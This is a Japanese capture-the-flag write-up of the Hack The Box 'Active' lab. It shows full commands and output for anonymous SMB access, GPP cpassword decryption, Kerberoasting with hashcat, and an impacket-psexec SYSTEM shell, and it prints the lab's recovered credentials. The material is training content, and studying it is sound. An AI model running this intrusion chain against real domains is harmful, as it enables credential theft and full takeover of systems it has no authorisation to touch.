HTB Lab - Active (Windows / Easy)

概要

匿名 SMB で Replication 共有を読み、Groups.xml の cpassword を復号して SVC_TGS ユーザを得る
Kerberoasting で Administrator の TGS を取り、解読
管理者ユーザを使い SYSTEM を取得

対象環境

項目	値
問題	Active
難易度	Easy
OS	Windows
IP	10.129.19.56
攻撃者IP	10.10.14.248

攻撃フロー

1. 偵察

rustscan で全ポートを確認
53 / 88 / 135 / 139 / 389 / 445 が開いており、LDAP がドメイン active.htb、ホスト名 DC を返す

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.19.56:53
Open 10.129.19.56:88
Open 10.129.19.56:135
Open 10.129.19.56:139
Open 10.129.19.56:445
Open 10.129.19.56:389
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-10 06:33:57Z)
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

active.htb と dc.active.htb を /etc/hosts に足す

Ch4n24n@htb[/htb]$ echo $TARGET 'active.htb dc.active.htb' | sudo tee -a /etc/hosts
10.129.19.56 active.htb dc.active.htb

2. 匿名SMBでReplication共有を取得

ヌルセッションで共有一覧が出る。Replication 共有に入れることがわかったので、全体を一括ダウンロードする

Ch4n24n@htb[/htb]$ smbclient -L active.htb -N
Anonymous login successful
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	Replication     Disk
	SYSVOL          Disk      Logon server share
	Users           Disk
 
Ch4n24n@htb[/htb]$ smbclient //active.htb/Replication -N -c "recurse on; prompt off; mget *"
Anonymous login successful
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

3. GPPのcpasswordを復号

ダウンロードした共有を確認。Groups.xml に active.htb\SVC_TGS と cpassword を発見

Ch4n24n@htb[/htb]$ cat ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

gpp-decrypt を使い、復号することで、SVC_TGS:GPPstillStandingStrong2k18 を取得

Ch4n24n@htb[/htb]$ gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18

4. SVC_TGSでUsers共有を確認

SVC_TGS の資格情報が正しいことを確認。 Users 共有を読めることがわかる

Ch4n24n@htb[/htb]$ netexec smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB         10.129.19.56    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.19.56    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
 
Ch4n24n@htb[/htb]$ netexec smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.129.19.56    445    DC               Share           Permissions     Remark
SMB         10.129.19.56    445    DC               NETLOGON        READ            Logon server share
SMB         10.129.19.56    445    DC               Replication     READ
SMB         10.129.19.56    445    DC               SYSVOL          READ            Logon server share
SMB         10.129.19.56    445    DC               Users           READ

Users\SVC_TGS\Desktop\user.txt で１つ目のフラグを取得

Ch4n24n@htb[/htb]$ impacket-smbclient active.htb/SVC_TGS:'GPPstillStandingStrong2k18'@active.htb
# use Users
# cd SVC_TGS/Desktop
# ls
-rw-rw-rw-         34  Tue Nov 10 15:30:21 2026 user.txt
# get user.txt

5. Kerberoasting

Administrator が SPN active/CIFS:445 を持っていたので、TGS を kerberoasting.txt に保存する

Ch4n24n@htb[/htb]$ impacket-GetUserSPNs -dc-ip active.htb active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -request -outputfile kerberoasting.txt
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 04:06:40.351723  2026-11-10 15:30:27.900178

ローカルパスワードクラックで Administrator:Ticketmaster1968 を取得

Ch4n24n@htb[/htb]$ hashcat -m 13100 kerberoasting.txt /usr/share/wordlists/rockyou.txt
...:Ticketmaster1968
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

6. psexecでSYSTEM

解読したパスワードで psexec し、SYSTEM を取得

Ch4n24n@htb[/htb]$ impacket-psexec active.htb/Administrator:'Ticketmaster1968'@$TARGET
[*] Requesting shares on 10.129.19.56.....
[*] Found writable share ADMIN$
[*] Opening SVCManager on 10.129.19.56.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
 
C:\Windows\system32> whoami
nt authority\system

参考

HTB Lab - Active (Windows / Easy)

おわりに

SMB 共有の確認と Kerberoasting の２つで攻略できる Box です。 Web が公開されていない Box の攻略としては一般的なものかな？と思います。意地悪な部分がなく、素直な問題なので、学習用途としてはいい問題だと思います